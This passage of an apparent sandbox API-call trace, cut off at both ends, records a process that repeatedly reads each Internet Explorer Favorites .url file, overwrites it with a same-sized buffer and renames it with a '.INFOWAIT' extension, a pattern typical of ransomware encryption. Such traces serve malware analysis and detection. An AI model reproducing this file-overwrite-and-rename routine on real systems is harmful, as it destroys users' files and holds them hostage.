dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.737] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.741] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.741] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.741] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.741] CloseHandle (hObject=0xad0) returned 1 [0119.742] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" [0119.742] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.INFOWAIT" [0119.742] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE Add-on site.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie add-on site.url.infowait")) returned 1 [0119.743] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.744] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.744] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.744] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.745] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.745] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.745] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.745] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.748] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.748] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.749] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.749] CloseHandle (hObject=0xad0) returned 1 [0119.750] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" [0119.750] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.INFOWAIT" [0119.750] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\IE site on Microsoft.com.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\ie site on microsoft.com.url.infowait")) returned 1 [0119.751] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.752] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.752] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.753] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.753] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.753] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.753] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.753] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.756] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.757] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.757] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.757] CloseHandle (hObject=0xad0) returned 1 [0119.758] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" [0119.758] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.INFOWAIT" [0119.758] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Home.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at home.url.infowait")) returned 1 [0119.759] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.760] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.760] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.760] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.760] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.760] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.761] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.761] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.764] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.764] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.764] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.764] CloseHandle (hObject=0xad0) returned 1 [0119.765] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" [0119.765] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.INFOWAIT" [0119.765] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft At Work.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft at work.url.infowait")) returned 1 [0119.766] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.767] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.767] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.767] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.769] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x86 [0119.769] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.769] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.769] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x86, lpOverlapped=0x0) returned 1 [0119.772] VirtualAlloc (lpAddress=0x0, dwSize=0x86, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.772] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.773] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x86, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x86, lpOverlapped=0x0) returned 1 [0119.773] CloseHandle (hObject=0xad4) returned 1 [0119.773] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" [0119.773] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.INFOWAIT" [0119.774] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\Microsoft Websites\\Microsoft Store.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\microsoft websites\\microsoft store.url.infowait")) returned 1 [0119.774] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.775] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.776] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.776] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.776] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.776] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.776] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.776] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.779] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.780] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.780] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.780] CloseHandle (hObject=0xad4) returned 1 [0119.781] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" [0119.781] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.INFOWAIT" [0119.781] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Autos.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn autos.url.infowait")) returned 1 [0119.781] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.782] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.783] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.783] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.784] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.784] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.784] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.785] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.787] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.788] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.788] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.788] CloseHandle (hObject=0xad0) returned 1 [0119.791] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" [0119.791] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.INFOWAIT" [0119.791] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Entertainment.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn entertainment.url.infowait")) returned 1 [0119.792] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.793] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.793] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.793] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad4 [0119.794] GetFileSize (in: hFile=0xad4, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.794] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.795] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.795] ReadFile (in: hFile=0xad4, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.798] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.798] SetFilePointer (in: hFile=0xad4, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.798] WriteFile (in: hFile=0xad4, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, lpNumberOfBytesWritten=0x26efef0, lpOverlapped=0x0 | out: lpBuffer=0x5e0000*, lpNumberOfBytesWritten=0x26efef0*=0x85, lpOverlapped=0x0) returned 1 [0119.798] CloseHandle (hObject=0xad4) returned 1 [0119.816] lstrcpyW (in: lpString1=0x26eedc4, lpString2="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" [0119.816] lstrcatW (in: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url", lpString2=".INFOWAIT" | out: lpString1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.INFOWAIT") returned="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.INFOWAIT" [0119.817] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Money.url.INFOWAIT" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn money.url.infowait")) returned 1 [0119.817] VirtualFree (lpAddress=0x1f50000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.818] VirtualFree (lpAddress=0x5e0000, dwSize=0x0, dwFreeType=0x8000) returned 1 [0119.819] PeekMessageW (in: lpMsg=0x26eff3c, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x26eff3c) returned 0 [0119.819] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Favorites\\MSN Websites\\MSN Sports.url" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\favorites\\msn websites\\msn sports.url"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0xad0 [0119.820] GetFileSize (in: hFile=0xad0, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x85 [0119.820] VirtualAlloc (lpAddress=0x0, dwSize=0x25810, flAllocationType=0x1000, flProtect=0x4) returned 0x1f50000 [0119.820] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.820] ReadFile (in: hFile=0xad0, lpBuffer=0x1f50000, nNumberOfBytesToRead=0x25800, lpNumberOfBytesRead=0x26eff14, lpOverlapped=0x0 | out: lpBuffer=0x1f50000*, lpNumberOfBytesRead=0x26eff14*=0x85, lpOverlapped=0x0) returned 1 [0119.823] VirtualAlloc (lpAddress=0x0, dwSize=0x85, flAllocationType=0x1000, flProtect=0x4) returned 0x5e0000 [0119.824] SetFilePointer (in: hFile=0xad0, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0119.824] WriteFile (in: hFile=0xad0, lpBuffer=0x5e0000*, nNumberOfBytesToWrite=0x85, 